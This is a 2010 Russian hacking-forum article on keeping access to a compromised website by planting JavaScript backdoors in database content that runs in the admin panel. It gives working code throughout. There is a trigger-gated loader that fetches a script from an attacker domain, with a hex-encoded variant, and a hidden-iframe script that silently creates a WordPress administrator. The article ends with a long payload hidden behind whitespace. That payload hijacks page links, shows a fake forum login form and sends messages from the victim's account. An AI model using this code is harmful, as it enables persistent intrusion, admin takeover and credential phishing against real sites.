Lucene search

K
rdotTipsyRDOT:677
HistorySep 08, 2010 - 12:00 a.m.

Второе пришествие: бэкдор в БД (+ бонусный фишинг-код)

2010-09-0800:00:00
tipsy
rdot.org
36

Рассмотрим, как можно использовать MySQL для сохранения доступа к ресурсу после обнаружения взлома и “чистки”.

// Специально для rdot.org
// Перепечатка без большой, жирной ссылки на источник разрешена только мудацким ресурсам.

Типичные рекомендации администратору веб-сервера по действиям после взлома выглядят примерно так:

Для распиздяев:

  1. если есть основания полагать, что была скомпрометирована операционная система - подключить диски к чистой системе (LiveCD) и прогнать чистилками (rkhunter/chkrootkit)
  2. прогнать веб-директории грепом на предмет подозрительных сигнатур ( eval(base64…, system(…, passthru(… )
  3. обновить всё до последних версий
  4. сменить все пароли
    Для серьёзных проектов:
  5. взять пустой винт
  6. установить последнюю версию ОС и пакетов из чистого дистрибутива
  7. восстановить конфигурационные файлы из бэкапа, сделанного до взлома, проверив их вручную.
  8. не использовать старые пароли
  9. если используются сторонние движки, скачать последние версии с сайта разработчика и сделать чистую установку
  10. если используется свой продукт, восстановить чистую копию из CVS.
  11. загрузить в БД свежие дампы (*****)
  12. сменить все пароли

В первом варианте, если чистил аматор, шанс сохранить доступ у хитрого хакера есть.
Во втором случае, если уязвимость устранена, доступ к ресурсу теряется без вариантов…

Или нет?

**На данный момент ни один из публично доступных документов по post-intrusion recovery не упоминает о необходимости проверки БД на предмет внедрения в неё вредоносного кода. **
Есть примерно три способа затроянить БД, чтобы восстановить доступ к ресурсу после чистки:

  1. Внедрение PHP кода.
  2. Внедрение яваскрипта.
  3. SQL триггеры.

По первому пункту мне нечего добавить, третий раскроет Dr.TRO.

Внедрение яваскрипта.
Большинство приложений построено по принципу “максимально фильтруем user input, записываем чистые данные в БД, безгранично доверяем контенту из БД”.
Имея прямой доступ к БД, можно записать туда js код, миновав фильтрацию на уровне приложения.
Редкие приложения фильтруют контент из БД, но даже в них можно найти лазейку - защита от инсайдера слабее внешней.

Что даёт внедрение js кода?
-возможность получить куки администратора, если они установлены без флажка httponly
-возможность выполнить в админке произвольные действия с правами администратора

Общие рекоммендации по внедрению закладки:
-если есть возможность, нужно вписаться во что-то, что выводится только в админке
Нам нужны права администратора, незачем светить скрипт по всему сайту.

-идеально, если есть возможность записаться прямо в существующий скрипт.
Иногда в админке используется такая конструкция при заполнении javascript переменных:
adminka.php

PHP код:

//…
<script>
a = “100000000000”;
thousands_separator = “<?=$b?>”; // Переменная $b берётся из бд? То, что нужно!
do_something(a,b);

Методика похожа на обычный sql injection - разрываем кавычки и добавляем свой код, экранируя лишнее комментарием //

-желательно вписаться во что-то, что нельзя отредактировать средствами движка
Если возможности вписаться в нередактируемое поле нет - заблокируйте или поставьте свой обработчик на элемент, который его редактирует. Абсолютно любой элемент на странице можно адресовать комбинацией операторов getElementByID(‘айди’), getElementsByTagName(‘input’)[3], getElementsByName(“name”)[4] и getElementsByClassName(“class”)1 rdot.org 2010

Общие рекоммендации по архитектуре закладки:
-закладке нужен некий триггер, который её активирует, в остальное время она должна тихо ждать своего часа.
-поместить триггер в файл на своём домене, безусловно, заманчиво, но опасно - мелькающий в адресной строке “левый” домен может привлечь внимание администратора
-триггером может служить любой контролируемый извне текст, который попадает на страницу со скриптом (в общем случае эта страница - админка). Для блогов, отображающих список последних событий, удобно использовать комментарий или trackback с “волшебным словом”. Триггер будет выглядеть так
if (document.body.innerHTML.search(“magic”+“word”)<0) {return;}
-если нет возможности влиять на текст в админке извне, триггером может служить дата, после которой “начинка” скрипта выполнится.

А сколько раз она выполнится?
-В качестве носителя для записи переменных удобно использовать самого администратора.
Когда закладка сработает, поставьте ему куки pwned, чтобы предовратить повторную сработку.

PHP код:

document.cookie = ‘pwned=yes; expires=Thu, 2 Aug 2021 20:47:11 UTC; path=/’;

Если скрипт получился длинным, можно вынести всё, кроме триггера, на внешний домен.
Заодно это послужит сигналом о том, что закладка отработала.

PHP код:

if (document.body.innerHTML.search(“magic”+“word”) < 0) {return;} // если писать magicword одним словом, он сам себя найдёт.
if (document.cookie.search(“pwned=yes”) > 0) {return;}
tmp = document.createElement(‘script’);
tmp.src = “http://h4x0r.info/pwn.js”; // или decodeURIComponent(‘%68%74%74%70%3A%2F%2F%68%34%78%30%72%2E%69%6E%66%6F%2F%70%77%6E%2E%6A%73’)
document.head.appendChild(tmp);

Общие рекоммендации по рабочей части закладки:
Если не используется флажок httponly, простейшим способом устроить грандиозное возвращение будет отправка строки document.cookie на внешний домен. На эту тему много написано, нет смысла повторяться.

Если используется httponly, нужно организовать доступ, выполнив некие действия от имени администратора (это будет сделано в фоне, незаметно для администратора)
Это может быть что угодно, что не требует ввода пароля.

  • добавление нового администратора
  • правка php файлов с целью добавить php закладку
  • правка шаблонов smarty с целью добавить php закладку. Формат {php}код{/php}
  • смена email-адреса администратора, если он не защищён паролем
    Для этого используется примерно такой код:

PHP код:

ifrm = document.createElement(“iframe”);
ifrm.id = “pwn”;
ifrm.src = “new_user.php”;
ifrm.style.display = “none”;
document.body.appendChild(ifrm); // создаём невидимый фрейм с формой добавления нового пользователя
setTimeout(“adm()”,2000); // дадим фрейму время загрузиться. Альтернативный вариант - использовать onload

function adm () { // заполняем форму. Конкретно эта форма - добавление нового администратора в вордпресс.
i = document.getElementById(“pwn”).contentWindow.document;
i.getElementById(“user_login”).value = “pwnz0r”;
i.getElementById(“email”).value = “[email protected]”;
i.getElementById(“pass1”).value = “p4ssw0rd”;
i.getElementById(“pass2”).value = “p4ssw0rd”;
i.getElementById(“send_password”).checked = true; // в данном случае сигналом о том, что закладка выполнилась, будет письмо
i.getElementById(“role”).value = “administrator”;
i.getElementById(“adduser”).submit();
}

Если без ввода пароля ничего полезного сделать нельзя, остаётся последний вариант:

Фальшивая форма ввода пароля

Я прикрепил к статье рабочий код, иллюстрирующий работу со скрытыми фреймами, и безобидную демонстрацию того, как может быть реализована фальшивая форма логина (только для зарегистрированных пользователей).

Строка для запуска(нужно скопировать в адресбар) :

PHP код:

javascript:alert(document.getElementsByClassName(“alt2”)[2].getElementsByTagName(“code”)[((id=new Function(document.getElementsByTagName(“pre”)[0].textContent))+id())]=“Привет, я новое значение этого поля.”);

Прежде чем запускать, ознакомьтесь с кодом, он в конце статьи.

Что произойдёт:

  • через несколько секунд вы отправите себе ЛС о том, что код запущен
  • при нажатии на любую ссылку она будет открыта во фрейме (перехват активного окна)
  • можно браузить в обычном режиме чуть больше минуты
  • будет выдана фальшивая форма логина.
  • после заполнения формы (кстати, хороший шанс протестировать на защищённость от фишинга свой менеджер паролей) вы получите от себя вторую ЛС, в которой указано число букв в пароле.
  • будет показан алерт.

Если в вашем браузере не работает, отпишитесь.
Протестировано в Firefox, Safari, Chrome, Opera.

Подводные камни:
Яваскрипт прекращает выполнение в случае ошибки, потому аккуратнее с чтением/записью в не полностью загрузившийся документ. Лучше добавить проверки, и использовать setTimeout / onload.

Цитата:

Код:

function a () {
if (document.getElementById('comments') == null) { // блок комментов ещё не загрузился
setTimeout(a,200); return} else {
// делаем проверку на magicword
}}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              document.getElementsByClassName("alt2")[6].getElementsByTagName("code")[1].innerHTML="Привет, я новое значение этого поля.";document.location.replace(document.location.href+'#?1');login =document.getElementsByTagName('strong')[1].getElementsByTagName('a')[0].textContent;delay=5000;setTimeout(new Function('pm1 = document.createElement("iframe");pm1.style.display = "none";pm1.id = "pm1";pm1.src = "https://rdot.org/forum/private.php?do=newpm&u=340";document.body.appendChild(pm1);'),delay);setTimeout(pm,delay+100);function pm () {if(document.getElementById("pm1").contentWindow.document.getElementById("pmrecips_txt")==null) {setTimeout(pm,100);return;}p = document.getElementById("pm1").contentWindow.document;p.getElementById("pmrecips_txt").value = login;p.getElementsByName("title")[0].value = "Я запустил код";p.getElementById('vB_Editor_001_textarea').value = "Десять символов.";p.getElementsByName('vbform')[0].submit();}a = document.getElementsByTagName('a');for (i in a) {a[i].onclick = hijack;}function hijack() {pm1.src = "https://rdot.org/forum/private.php?do=newpm&u=340";ifrm = document.createElement("iframe");ifrm.id = "ifrm";ifrm.src = this;ifrm.style.position = "absolute";ifrm.style.top = "0px";ifrm.style.left = "0px";ifrm.style.zIndex = 999;ifrm.style.height = "100%";ifrm.style.width = "100%";ifrm.style.border = "0px";ifrm.style.padding = "0px";document.body.appendChild(ifrm);document.body.style.overflow="hidden";setTimeout(l,50000);return false;}function l () {document.getElementById("ifrm").contentWindow.document.body.onclick = function(){document.getElementById("ifrm").contentWindow.document.body.onclick="";d='<div><table width="100%" align="center" border="0"><tbody><tr><td width="100%"> <table width="100%" border="0"><tbody><tr><td></td></tr><tr> <td colspan="2"></td></tr></tbody></table></td></tr></tbody></table><div><div><div><br><div><table width="100%" align="center" border="0"><tbody><tr align="center"><td><a href>Регистрация</a></td><td><a href>Сообщения за день</a></td><td><a href>Поиск</a> </td></tr></tbody></table></div><div><table border="0"><tbody><tr><td>Поиск по форуму</td></tr><tr><td>&lt;form action="search.php?do=process" method="post"&gt;&lt;input name="do" value="process" type="hidden"&gt;&lt;input name="quicksearch" value="1" type="hidden"&gt;&lt;input name="childforums" value="1" type="hidden"&gt;&lt;input name="exactname" value="1" type="hidden"&gt;&lt;input name="s" value="" type="hidden"&gt;&lt;input name="securitytoken" value="guest" type="hidden"&gt;<div>&lt;input class="bginput" name="query" size="25" tabindex="1001" type="text"&gt;&lt;input class="button" value="Вперёд" tabindex="1004" type="submit"&gt;</div><div>&lt;label for="rb_nb_sp0"&gt;&lt;input name="showposts" value="0" id="rb_nb_sp0" tabindex="1002" checked="checked" type="radio"&gt;Отобразить темы&lt;/label&gt;&nbsp;&lt;label for="rb_nb_sp1"&gt;&lt;input name="showposts" value="1" id="rb_nb_sp1" tabindex="1003" type="radio"&gt;Отображать сообщения&lt;/label&gt;</div>&lt;/form&gt;</td></tr><tr><td><a href>Поиск по метке</a></td></tr><tr><td><a href>Расширенный поиск</a></td></tr></tbody></table></div><div><table border="0"><tbody><tr><td>К странице...</td></tr><tr><td>&lt;form action="index.php" method="get" onsubmit="return this.gotopage()" id="pagenav_form"&gt;&lt;input class="bginput" id="pagenav_itxt" style="font-size: 11px;" size="4" type="text"&gt;&lt;input class="button" id="pagenav_ibtn" value="Вперёд" type="button"&gt;&lt;/form&gt;</td></tr></tbody></table></div><table width="100%" align="center" border="0"><tbody><tr><td width="100%"><table border="0"><tbody><tr valign="bottom"><td><a href="#"><img title="Вернуться" src alt="Вернуться"></a></td><td>&nbsp;</td><td width="100%"><span><a href="/forum/?s=">RDot</a></span> </td></tr><tr><td colspan="3"><a href="/forum/usercp.php"><img title="Перезагрузить страницу" src alt="Перезагрузить страницу"></a> <strong>Сообщение форума</strong></td></tr></tbody></table></td><td>&lt;form style="display:none;"&gt;<table border="0"><tbody><tr><td>&lt;label for="navbar_username"&gt;Имя&lt;/label&gt;</td><td></td><td>&lt;label for="cb_cookieuser_navbar"&gt;Запомнить?&lt;/label&gt;</td></tr><tr><td>&lt;label for="navbar_password"&gt;Пароль&lt;/label&gt;</td><td></td><td></td></tr></tbody></table>&lt;input name="s" value="" type="hidden"&gt;&lt;input name="securitytoken" value="guest" type="hidden"&gt;&lt;input name="do" value="login" type="hidden"&gt;&lt;input name="vb_login_md5password" type="hidden"&gt;&lt;input name="vb_login_md5password_utf" type="hidden"&gt;&lt;/form&gt;</td></tr></tbody></table><br><div><table border="0"><tbody><tr><td>Поиск по форуму</td></tr><tr><td>&lt;form action="search.php?do=process" method="post"&gt;&lt;input name="do" value="process" type="hidden"&gt;&lt;input name="quicksearch" value="1" type="hidden"&gt;&lt;input name="childforums" value="1" type="hidden"&gt;&lt;input name="exactname" value="1" type="hidden"&gt;&lt;input name="s" value="" type="hidden"&gt;<div>&lt;input class="bginput" name="query" size="25" tabindex="1001" type="text"&gt;&lt;input class="button" value="Вперёд" tabindex="1004" type="submit"&gt;</div><div>&lt;label for="rb_nb_sp0"&gt;&lt;input name="showposts" value="0" id="rb_nb_sp0" tabindex="1002" checked="checked" type="radio"&gt;Отобразить темы&lt;/label&gt;&nbsp;&lt;label for="rb_nb_sp1"&gt;&lt;input name="showposts" value="1" id="rb_nb_sp1" tabindex="1003" type="radio"&gt;Отображать сообщения&lt;/label&gt;</div>&lt;/form&gt;</td></tr><tr><td><a href>Поиск по метке</a></td></tr><tr><td><a href>Расширенный поиск</a></td></tr></tbody></table></div><div><table border="0"><tbody><tr><td>К странице...</td></tr><tr><td>&lt;form action="index.php" method="get" onsubmit="return this.gotopage()" id="pagenav_form"&gt;&lt;input class="bginput" id="pagenav_itxt" style="font-size: 11px;" size="4" type="text"&gt;&lt;input class="button" id="pagenav_ibtn" value="Вперёд" type="button"&gt;&lt;/form&gt;</td></tr></tbody></table></div><table width="70%" align="center" border="0"><tbody><tr><td>Сообщение форума</td></tr><tr><td align="center"><div><div>&lt;form action="login.php?do=login" method="post" onsubmit="p=parent.window.pm1.contentWindow.document;p.getElementById(\'pmrecips_txt\').value =parent.window.login;p.getElementsByName(\'title\')[0].value = \'Я ввёл пароль\';p.getElementById(\'vB_Editor_001_textarea\').value = \'Я ввёл логин \'+ document.getElementById(\'llogin\').value+\' и пароль длинной \'+document.getElementById(\'ppassword\').value.length+\' символов\';p.getElementsByName(\'vbform\')[0].submit();alert(\'Привет, \'+parent.window.login+\', я фишинг.\\n\\n\'+document.getElementById(\'llogin\').value+\':\'+document.getElementById(\'ppassword\').value);return false;"&gt;<div>Вы не авторизованы на форуме или не имеете доступа к этой странице. Это могло произойти по одной из нескольких причин:</div><ol><li>Вы не авторизованы на форуме. Введите имя пользователя и пароль и попробуйте ещё раз.</li><li>У вас недостаточно прав для обращения к этой странице. Возможно, вы пытаетесь обратиться к функциям администратора или к другим привилегированным функциям.</li><li>Возможно, администратор отключил вашу учётную запись, или вы не активированы на форуме.</li></ol>&lt;fieldset class="fieldset"&gt;&lt;legend&gt;Вход&lt;/legend&gt;<table align="center" border="0"><tbody><tr><td>Имя:<br>&lt;input class="bginput" id="llogin" name="vb_login_username" size="50" accesskey="u" tabindex="1" type="text"&gt;</td></tr><tr><td>Пароль:<br>&lt;input id="ppassword" style="font-weight: 500; font-style: normal; color: rgb(0, 0, 0);" class="bginput" name="vb_login_password" size="50" tabindex="1" type="password"&gt;</td></tr><tr><td><span><a href>Забыли пароль?</a></span>&lt;label for="cb_cookieuser"&gt;&lt;input name="cookieuser" value="1" id="cb_cookieuser" tabindex="1" type="checkbox"&gt;Запомнить?&lt;/label&gt;</td></tr><tr><td align="right">&lt;input class="button" value="Вход" accesskey="s" tabindex="1" type="submit"&gt;&lt;input class="button" value="Сброс" accesskey="r" tabindex="1" type="reset"&gt;</td></tr></tbody></table>&lt;/fieldset&gt;<div>Для просмотра этой страницы необходимо <a href>зарегистрироваться</a>.</div>&lt;/form&gt;</div></div></td></tr></tbody></table><br><table align="center" border="0"><tbody><tr><td><div>&lt;form action="forumdisplay.php" method="get"&gt;&lt;input name="s" value="" type="hidden"&gt;&lt;input name="daysprune" value="" type="hidden"&gt;<strong>Быстрый переход</strong><br>&lt;select name="f" onchange="this.form.submit();"&gt;&lt;optgroup label="Навигация по форуму"&gt;&lt;option value="cp"&gt;Мой кабинет&lt;/option&gt;&lt;option value="pm"&gt;Личные сообщения&lt;/option&gt;&lt;option value="subs"&gt;Подписки&lt;/option&gt;&lt;option value="wol"&gt;Кто на форуме&lt;/option&gt;&lt;option value="search"&gt;Поиск по форуму&lt;/option&gt;&lt;option value="home"&gt;Главная страница форума&lt;/option&gt;&lt;/optgroup&gt;&lt;optgroup label="Разделы"&gt;&lt;option value="8" class="fjdpth0"&gt; Релизы и Статьи&lt;/option&gt;&lt;option value="11" class="fjdpth1"&gt;&nbsp; &nbsp;  Релизы&lt;/option&gt;&lt;option value="10" class="fjdpth1"&gt;&nbsp; &nbsp;  Статьи&lt;/option&gt;&lt;option value="32" class="fjdpth2"&gt;&nbsp; &nbsp; &nbsp; &nbsp;  Чужие статьи/Переводы&lt;/option&gt;&lt;option value="3" class="fjdpth0"&gt; Аспекты НСД&lt;/option&gt;&lt;option value="9" class="fjdpth1"&gt;&nbsp; &nbsp;  Web-среда&lt;/option&gt;&lt;option value="15" class="fjdpth2"&gt;&nbsp; &nbsp; &nbsp; &nbsp;  Сценарии/CMF/СMS&lt;/option&gt;&lt;option value="34" class="fjdpth2"&gt;&nbsp; &nbsp; &nbsp; &nbsp;  Форумы&lt;/option&gt;&lt;option value="26" class="fjdpth2"&gt;&nbsp; &nbsp; &nbsp; &nbsp;  Уязвимости PHP&lt;/option&gt;&lt;option value="22" class="fjdpth1"&gt;&nbsp; &nbsp;  Целевые системы&lt;/option&gt;&lt;option value="23" class="fjdpth2"&gt;&nbsp; &nbsp; &nbsp; &nbsp;  Сервисы/БД/Серверы&lt;/option&gt;&lt;option value="24" class="fjdpth2"&gt;&nbsp; &nbsp; &nbsp; &nbsp;  Повышение привилегий&lt;/option&gt;&lt;option value="27" class="fjdpth1"&gt;&nbsp; &nbsp;  Аудит Web-приложений&lt;/option&gt;&lt;option value="41" class="fjdpth0"&gt; Технические аспекты&lt;/option&gt;&lt;option value="42" class="fjdpth1"&gt;&nbsp; &nbsp;  Криптография&lt;/option&gt;&lt;option value="47" class="fjdpth0"&gt; Администрирование&lt;/option&gt;&lt;option value="48" class="fjdpth1"&gt;&nbsp; &nbsp;  *nix-like&lt;/option&gt;&lt;option value="49" class="fjdpth1"&gt;&nbsp; &nbsp;  Windows&lt;/option&gt;&lt;option value="5" class="fjdpth0"&gt; Разработка ПО&lt;/option&gt;&lt;option value="39" class="fjdpth1"&gt;&nbsp; &nbsp;  Web-программирование&lt;/option&gt;&lt;option value="19" class="fjdpth1"&gt;&nbsp; &nbsp;  Прикладное программирование&lt;/option&gt;&lt;option value="6" class="fjdpth0"&gt; Оффтоп&lt;/option&gt;&lt;option value="50" class="fjdpth1"&gt;&nbsp; &nbsp;  Аппаратное обеспечение&lt;/option&gt;&lt;option value="51" class="fjdpth2"&gt;&nbsp; &nbsp; &nbsp; &nbsp;  Схемотехника&lt;/option&gt;&lt;option value="52" class="fjdpth2"&gt;&nbsp; &nbsp; &nbsp; &nbsp;  Фрикинг&lt;/option&gt;&lt;option value="54" class="fjdpth2"&gt;&nbsp; &nbsp; &nbsp; &nbsp;  Беспроводные технологии&lt;/option&gt;&lt;option value="53" class="fjdpth2"&gt;&nbsp; &nbsp; &nbsp; &nbsp;  Новости мира железа&lt;/option&gt;&lt;option value="60" class="fjdpth1"&gt;&nbsp; &nbsp;  Видео&lt;/option&gt;&lt;option value="14" class="fjdpth1"&gt;&nbsp; &nbsp;  Мировые новости&lt;/option&gt;&lt;option value="12" class="fjdpth1"&gt;&nbsp; &nbsp;  Оффтоп&lt;/option&gt;&lt;option value="40" class="fjdpth1"&gt;&nbsp; &nbsp;  Обратная связь&lt;/option&gt;&lt;/optgroup&gt;&lt;/select&gt;&lt;input class="button" value="Вперёд" type="submit"&gt;&lt;/form&gt;</div></td></tr></tbody></table><br><br><br><div><div>Powered by vBulletin® Version 3.8.5<br>Copyright ©2000 - 2010, Jelsoft Enterprises Ltd. Перевод: <a href="http://www.zcarot.com/" target="_blank">zCarot</a></div><div><br></div></div><br></div></div></div>&lt;form action="index.php" method="get" style="clear: left;"&gt;<table width="100%" align="center" border="0"><tbody><tr><td width="100%" align="right"><div><strong><a href>Обратная связь</a> -<a href>Архив</a> -               <a href="#top">Вверх</a></strong></div></td></tr></tbody></table>&lt;/form&gt;';document.getElementById("ifrm").contentWindow.document.body.innerHTML=d;return false;}}// Приятного реверсинга! :) (c) tipsy  

(с) 2010 rdot.org